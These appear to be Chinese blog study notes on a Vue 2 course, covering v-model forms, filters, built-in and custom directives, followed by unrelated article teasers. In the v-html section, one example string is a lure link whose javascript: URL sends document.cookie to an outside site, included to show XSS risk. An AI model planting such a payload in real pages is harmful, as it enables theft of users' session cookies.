跟着尚硅谷学vue2—基础篇4.0

11. 收集表单数据

收集表单数据

  1. 若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。

  2. 若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。

  3. 若:<input type="checkbox"/>

    1. 没有配置 input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
    2. 配置 input的value属性:
      1. v-model的初始值是 非数组 ,那么收集的就是checked(勾选 or 未勾选,是布尔值)
      2. v-model的初始值是 数组 ,那么收集的的就是value组成的数组
  4. 备注:v-model的三个修饰符:

    1. lazy:失去焦点再收集数据
    2. number:输入字符串转为有效的数字
    3. trim:输入首尾空格过滤
<body><!-- 准备好一个容器--><div id="root"><form @submit.prevent="demo">账号:<input type="text" v-model.trim="userInfo.account"> <br /><br />密码:<input type="password" v-model="userInfo.password"> <br /><br />年龄:<input type="number" v-model.number="userInfo.age"> <br /><br />性别:男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br /><br />爱好:学习<input type="checkbox" v-model="userInfo.hobby" value="study">打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br /><br />所属校区<select v-model="userInfo.city"><option value="">请选择校区</option><option value="beijing">北京</option><option value="shanghai">上海</option><option value="shenzhen">深圳</option><option value="wuhan">武汉</option></select><br /><br />其他信息:<textarea v-model.lazy="userInfo.other"></textarea> <br /><br /><input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a><button>提交</button></form></div>
</body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',data: {userInfo: {account: '',password: '',age: 18,sex: 'female',hobby: [],city: 'beijing',other: '',agree: ''}},methods: {demo() {console.log(JSON.stringify(this.userInfo))}}})
</script>

12. 过滤器

过滤器:

  1. 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

  2. 语法:

    1. 注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
    2. 使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”
  3. 备注:

    1. 过滤器也可以接收额外参数、多个过滤器也可以串联
    2. 并没有改变原本的数据, 是产生新的对应的数据
  4. 例子中过滤器实现的逻辑:

    1. 首先捕获到红色框里的数据,随后把time作为参数传给timeFormater函数,然后就拿到了函数的返回值,并把红色框的数据给替换掉

      1

      2

  5. 例子中过滤器实现(传参的逻辑)—如果有两个过滤器是如何工作的

    1. 首先 time 回显传给timeFormater函数,然后拿到函数的返回值,再传给 mySlice 函数,最后展示mySlice的返回值

      mySlice

    2. 注意:time不会直接传给mySlice,是一层一层往下传递的。

      39

<body><!-- 准备好一个容器--><div id="root"><h2>显示格式化后的时间</h2><!-- 计算属性实现 --><h3>现在是:{{fmtTime}}</h3><!-- methods实现 --><h3>现在是:{{getFmtTime()}}</h3><!-- 过滤器实现 --><h3>现在是:{{time | timeFormater}}</h3><!-- 过滤器实现(传参) --><h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3><h3 :x="msg | mySlice">尚硅谷</h3></div><div id="root2"><h2>{{msg | mySlice}}</h2></div>
</body><script type="text/javascript">Vue.config.productionTip = false//全局过滤器Vue.filter('mySlice', function (value) {return value.slice(0, 4)})new Vue({el: '#root',data: {time: 1621561377603, //时间戳msg: '你好,尚硅谷'},computed: {fmtTime() {return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')}},methods: {getFmtTime() {return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')}},//局部过滤器filters: {timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {// console.log('@',value)return dayjs(value).format(str)}}})new Vue({el: '#root2',data: {msg: 'hello,atguigu!'}})
</script>

13. 内置指令

1. 复习
我们学过的指令:
  1. v-bind : 单向绑定解析表达式, 可简写为 :xxx

  2. v-model : 双向数据绑定

  3. v-for : 遍历数组/对象/字符串

  4. v-on : 绑定事件监听, 可简写为@

  5. v-if : 条件渲染(动态控制节点是否存存在)

  6. v-else : 条件渲染(动态控制节点是否存存在)

  7. v-show : 条件渲染 (动态控制节点是否展示)

2. 知新
1. v-text_指令
  1. 作用:向其所在的节点中渲染文本内容。

  2. 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

  3. v-text不会解析标签

<body><!-- 准备好一个容器--><div id="root"><div>你好,{{name}}</div><div v-text="name"></div><div v-text="str"></div></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {name: '尚硅谷',str: '<h3>你好啊!</h3>'}})
</script>
2. v-html_指令
  1. 作用:向指定节点中渲染包含html结构的内容。

  2. 与插值语法的区别:

    1. v-html会替换掉节点中所有的内容,{{xx}}则不会。
    2. v-html可以识别html结构。
  3. 严重注意:v-html有安全性问题!!!!

    1. 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
    2. 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
    3. document.cookie获取网站的cookie
    4. cookie的工作原理

    65

    66

<body><!-- 准备好一个容器--><div id="root"><div>你好,{{name}}</div><div v-html="str"></div><div v-html="str2"></div></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {name: '尚硅谷',str: '<h3>你好啊!</h3>',str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',}})
</script>
3. v-cloak_指令

v-cloak指令(没有值):

  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}(未经解析的模板跑到页面中)的问题。
  3. http://localhost:8080/resource/5s/vue.js 视频老师自己写的服务器,达到vue延迟5s载入的效果
  4. js阻塞:详情只是跳转 → 浏览器线程阻塞和无阻塞加载脚本的理解 - SegmentFault 思否
<body><!-- 准备好一个容器--><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body><script type="text/javascript">console.log(1)Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {name: '尚硅谷'}})
</script>
4. v-once_指令

v-once指令:

  1. v-once所在节点在初次动态渲染后,就视为静态内容了。
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
  3. 常用于场景:原始值不变,对比值,根据逻辑要求而变化
<head><meta charset="UTF-8" /><title>v-once指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script>
</head><body><!-- 准备好一个容器--><div id="root"><h2 v-once>初始化的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {n: 1}})
</script>
5. v-pre_指令

v-pre指令:

  1. 跳过其所在节点的编译过程。
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<head><meta charset="UTF-8" /><title>v-pre指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script>
</head><body><!-- v-pre指令:1.跳过其所在节点的编译过程。2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。--><!-- 准备好一个容器--><div id="root"><h2 v-pre>Vue其实很简单</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {n: 1}})
</script>

14. 自定义指令 自定义指令

1. 需求
  1. 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。

  2. 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。

1. 自定义指令—函数式

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。

  1. 验证big是不是真实dom的方法

    通过打印a,来得到此目的

    1. 方法一:使用console.dir()

      72

    2. 方法二:console.log()

      73

    有上述证明中可以可以得出a是一个真是的dom元素,结合文档的描述规范将a改成elemnet(元素)

  2. 打印b发现b是一个对象

    74

    而在文档规范中实参b写为binding(绑定对象)

  3. big函数何时会被调用?

    1. 指令与元素成功绑定时(一上来)。
    2. 指令所在的模板被重新解析时。

75

<!DOCTYPE html>
<html>
<head><meta charset="UTF-8" /><title>自定义指令</title><script type="text/javascript" src="../js/vue.js"></script>
</head><body><!-- 准备好一个容器--><div id="root"><h2>{{name}}</h2><h2>当前的n值是:<span v-text="n"></span> </h2><h2>放大10倍后的n值是:<span v-big="n"></span> </h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',data: {name: '尚硅谷',n: 1},directives: {//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。big(element,binding){console.log('big')element.innerText = binding.value * 10},}})
</script></html>
2. 自定义指令—对象式

需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。

为了解决我们所书写的数据中出现的初始页面未获取焦点,但是点击增加按钮时会获取焦点的问题,所以我们先用原生 js 来实现一下

1. 回顾一个DOM操作
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>Document</title><style>.demo{background-color: orange;}</style></head><body><button id="btn">点我创建一个输入框</button><script type="text/javascript" >const btn = document.getElementById('btn')btn.onclick = ()=>{const input = document.createElement('input')input.className = 'demo'input.value = 99input.onclick = ()=>{alert(1)}document.body.appendChild(input)input.focus()// input.parentElement.style.backgroundColor = 'skyblue'console.log(input.parentElement)}</script></body>
</html>

通过js的实现效果我们可以得出,代码是没问题的,只不过是执行的时机有问题,所以在此我们就不能使用函数形式了,因为函数形式时无法控制先后顺序的,他是 一上来就调用了 。这个时候我们就需要用到obj格式,来控制他的先后顺序

2. 使用对象实现
1. 配置对象中的函数

配置对象中常用的3个回调:

  1. bind:指令与元素成功绑定时调用。
  2. inserted:指令所在元素被插入页面时调用。
  3. update:指令所在模板结构被重新解析时调用。

71

2. 添加函数的参数

70

<body><!-- 准备好一个容器--><div id="root"><h2>{{name}}</h2><h2>当前的n值是:<span v-text="n"></span> </h2><h2>放大10倍后的n值是:<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr /><input type="text" v-fbind:value="n"></div>
</body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',data: {name: '尚硅谷',n: 1},directives: {//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。big(element,binding){console.log('big')element.innerText = binding.value * 10},fbind: {//指令与元素成功绑定时(一上来)bind(element, binding) {element.value = binding.value},//指令所在元素被插入页面时inserted(element, binding) {element.focus()},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.value}}}})
</script>
3.自定义指令—总结
2. 自定义指令总结:
  1. 定义语法:

    1. 局部指令:

      new Vue({	directives:{指令名:配置对象} 
      })new Vue({directives{指令名:回调函数}
      }) 
      1. 第一种:

        69

      2. 第二种:

        68

        简写成:

        67

    2. 全局指令:

      Vue.directive(指令名,配置对象) 
      或  
      Vue.directive(指令名,回调函数)

      63

  2. 配置对象中常用的3个回调:

    1. bind:指令与元素成功绑定时调用。
    2. inserted:指令所在元素被插入页面时调用。
    3. update:指令所在模板结构被重新解析时调用。
    4. 其他钩子函数在这里 → 钩子函数,参数在这里→ 钩子函数参数
  3. 备注:

    1. 指令定义时不加v-,但使用时要加v-;

      61

    2. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

      60

    3. 所有指令相关的this,不指向vm,而是指向window

      64

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>自定义指令</title><script type="text/javascript" src="../js/vue.js"></script>
</head><body><!-- 准备好一个容器--><div id="root"><h2>{{name}}</h2><h2>当前的n值是:<span v-text="n"></span> </h2><!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> --><h2>放大10倍后的n值是:<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr /><input type="text" v-fbind:value="n"></div>
</body><script type="text/javascript">Vue.config.productionTip = false/* 定义全局指令 */// 对象形式/* Vue.directive('fbind',{//指令与元素成功绑定时(一上来)bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}) */// 函数形式/* Vue.directive('bind',function(element,binding){console.log('big', this) //注意此处的this是window// console.log('big')element.innerText = binding.value * 10}) */new Vue({el: '#root',data: {name: '尚硅谷',n: 1},directives: {//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。/* 'big-number'(element,binding){// console.log('big')element.innerText = binding.value * 10}, */big(element, binding) {console.log('big', this) //注意此处的this是window// console.log('big')element.innerText = binding.value * 10},fbind: {//指令与元素成功绑定时(一上来)bind(element, binding) {element.value = binding.value},//指令所在元素被插入页面时inserted(element, binding) {element.focus()},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.value}}}})
</script></html>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/471672.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

「人眼视觉不再是视频消费的唯一形式」丨智能编解码和 AI 视频生成专场回顾@RTE2024

你是否想过&#xff0c;未来你看到的电影预告片、广告&#xff0c;甚至新闻报道&#xff0c;都可能完全由 AI 生成&#xff1f; 在人工智能迅猛发展的今天&#xff0c;视频技术正经历着一场前所未有的变革。从智能编解码到虚拟数字人&#xff0c;再到 AI 驱动的视频生成&#…

【LeetCode】每日一题 2024_11_14 统计好节点的数目(图/树的 DFS)

前言 每天和你一起刷 LeetCode 每日一题~ LeetCode 启动&#xff01; 题目&#xff1a;统计好节点的数目 代码与解题思路 先读题&#xff1a;题目要求我们找出好节点的数量&#xff0c;什么是好节点&#xff1f;“好节点的所有子节点的数量都是相同的”&#xff0c;拿示例一…

js中typeOf无法区分数组对象

[TOC]&#xff08;js中typeOf无法区分数组对象) 前提&#xff1a;很多时候我们在JS中用typeOf来判断值类型&#xff0c;如&#xff1a;typeOf ‘abc’//string ,typeOf 123 //number; 但当判断对象为数组时返回的仍是’object’ 这时候我们可以使用Object.prototype.toString.c…

ISUP协议视频平台EasyCVR视频设备轨迹回放平台智慧农业视频远程监控管理方案

在当今快速发展的农业领域&#xff0c;智慧农业已成为推动农业现代化、助力乡村全面振兴的新手段和新动能。随着信息技术的持续进步和城市化进程的加快&#xff0c;智慧农业对于监控安全和智能管理的需求日益增长。 视频设备轨迹回放平台EasyCVR作为智慧农业视频远程监控管理方…

android studio 更改gradle版本方法(备忘)

如果出现类似以下&#xff1a; Your build is currently configured to use Java 17.0.11 and Gradle 6.1.1. 或者类似&#xff1a; Failed to calculate the value of task ‘:app:compileDebugJavaWithJavac‘ property ‘options.generatedSo 消息时需要修改gradle版本&…

使用 Vision 插件让 GitHub Copilot 识图问答

GitHub Copilot 是一个由 GitHub 和 OpenAI 合作开发的人工智能代码提示工具。它可以根据上下文提示代码&#xff0c;还可以回答各种技术相关的问题。GitHub Copilot 在刚刚召开的全球技术大会上宣布升级了 GitHub Copilot 背后的大语言模型&#xff0c;现在已经正式启用 GPT 4…

LeetCode面试经典150题C++实现,更新中

用C实现下面网址的题目 https://leetcode.cn/problems/merge-sorted-array/?envTypestudy-plan-v2&envIdtop-interview-150 1、数组\字符串 88合并两个有序数组 以下是使用 C 实现合并两个有序数组的代码及测试用例 C代码实现 #include <iostream> #include &l…

HarmonyOS NEXT应用开发实战 ( 应用的签名、打包上架,各种证书详解)

前言 没经历过的童鞋&#xff0c;首次对HarmonyOS的应用签名打包上架可能感觉繁琐。需要各种秘钥证书生成和申请&#xff0c;混在一起也分不清。其实搞清楚后也就那会事&#xff0c;各个文件都有它存在的作用。 HarmonyOS通过数字证书与Profile文件等签名信息来保证鸿蒙应用/…

Serverless架构在实时数据处理中的应用

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 Serverless架构在实时数据处理中的应用 Serverless架构在实时数据处理中的应用 Serverless架构在实时数据处理中的应用 引言 Ser…

Mysql篇-三大日志

概述 undo log&#xff08;回滚日志&#xff09;&#xff1a;是 Innodb 存储引擎层生成的日志&#xff0c;实现了事务中的原子性&#xff0c;主要用于事务回滚和 MVCC。 redo log&#xff08;重做日志&#xff09;&#xff1a;是 Innodb 存储引擎层生成的日志&#xff0c;实现…

VTK知识学习(8)-坐标系统

1、概述 计算机图形学里常用的坐标系统有4种&#xff1a; 1&#xff09;、Model坐标系统。定义模型时所采用的坐标系统&#xff0c;通常是局部的笛卡儿坐标系。 2&#xff09;、World坐标系统。是放置Actor的三维空间坐标系。 Actor&#xff08;vtkActor类&am…

「QT」窗口类 之 QWidget 窗口基类

✨博客主页何曾参静谧的博客&#x1f4cc;文章专栏「QT」QT5程序设计&#x1f4da;全部专栏「Win」Windows程序设计「IDE」集成开发环境「UG/NX」BlockUI集合「C/C」C/C程序设计「DSA」数据结构与算法「UG/NX」NX二次开发「QT」QT5程序设计「File」数据文件格式「UG/NX」NX定制…

如何保证Redis与MySQL双写一致性

什么是双写一致性问题&#xff1f; 双写一致性主要指在一个数据同时存在于缓存&#xff08;如Redis&#xff09;和持久化存储&#xff08;如MySQL&#xff09;的情况下&#xff0c;任何一方的数据更新都必须确保另一方数据的同步更新&#xff0c;以保持双方数据的一致状态。这一…

sealos部署K8s,安装docker时master节点突然NotReady

1、集群正常运行中&#xff0c;在集群master-1上安装了dockerharbor&#xff0c;却发现master-1节点NotReady&#xff0c;使用的网络插件为 Cilium #安装docker和harbor&#xff08;docker运行正常&#xff09; rootmaster-1:/etc/apt# apt install docker-ce5:19.03.15~3-0~u…

干货分享之Python爬虫与代理

嗨伙伴们&#xff0c;今天是干货分享哦&#xff0c;可千万不要错过。今天小蝌蚪教大家使用phthon时学会巧妙借用代理ip来更好地完成任务。 让我们先了解一下为什么说咱们要用爬虫代理ip呢&#xff0c;那是因为很多网站为了防止有人过度爬取数据&#xff0c;对自身资源造成损害…

【JavaEE初阶 — 多线程】死锁的产生原因和解决方法

目录 死锁 1.构成死锁的场景 (1) 一个线程一把锁 问题描述 解决方案(可重入锁) (2) 两个线程两把锁 问题描述 (3)N个线程 M把锁 哲学家就餐问题 2.死锁的四个必要条件 3.如何解决死锁问题 (1)避免出现请求和保持 (2)打破多个线程的循环等待关系 死锁…

【视觉SLAM】1-概述

读书笔记 文章目录 1. 经典视觉SLAM框架2. 数学表述2.1 运动方程2.2 观测方程2.3 问题抽象 1. 经典视觉SLAM框架 传感器信息读取&#xff1a;相机图像、IMU等多源数据&#xff1b;前端视觉里程计&#xff08;Visual Odometry&#xff0c;VO&#xff09;&#xff1a;估计相机的相…

探索 Python HTTP 的瑞士军刀:Requests 库

文章目录 探索 Python HTTP 的瑞士军刀&#xff1a;Requests 库第一部分&#xff1a;背景介绍第二部分&#xff1a;Requests 库是什么&#xff1f;第三部分&#xff1a;如何安装 Requests 库&#xff1f;第四部分&#xff1a;Requests 库的基本函数使用方法第五部分&#xff1a…

Redisson的可重入锁

初始状态&#xff1a; 表示系统或资源在没有线程持有锁的情况下的状态&#xff0c;任何线程都可以尝试获取锁。 线程 1 获得锁&#xff1a; 线程 1 首次获取了锁并进入受保护的代码区域。 线程 1 再次请求锁&#xff1a; 在持有锁的情况下&#xff0c;线程 1 再次请求锁&a…

基于微信小程序的平安驾校预约平台的设计与实现(源码+LW++远程调试+代码讲解等)

摘 要 互联网发展至今&#xff0c;广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对高校教师成果信息管理混乱&#xff0c;出错率高&#xff0c;信息安全性差&#xff0c;劳动强度大&#xff0c;费时费力…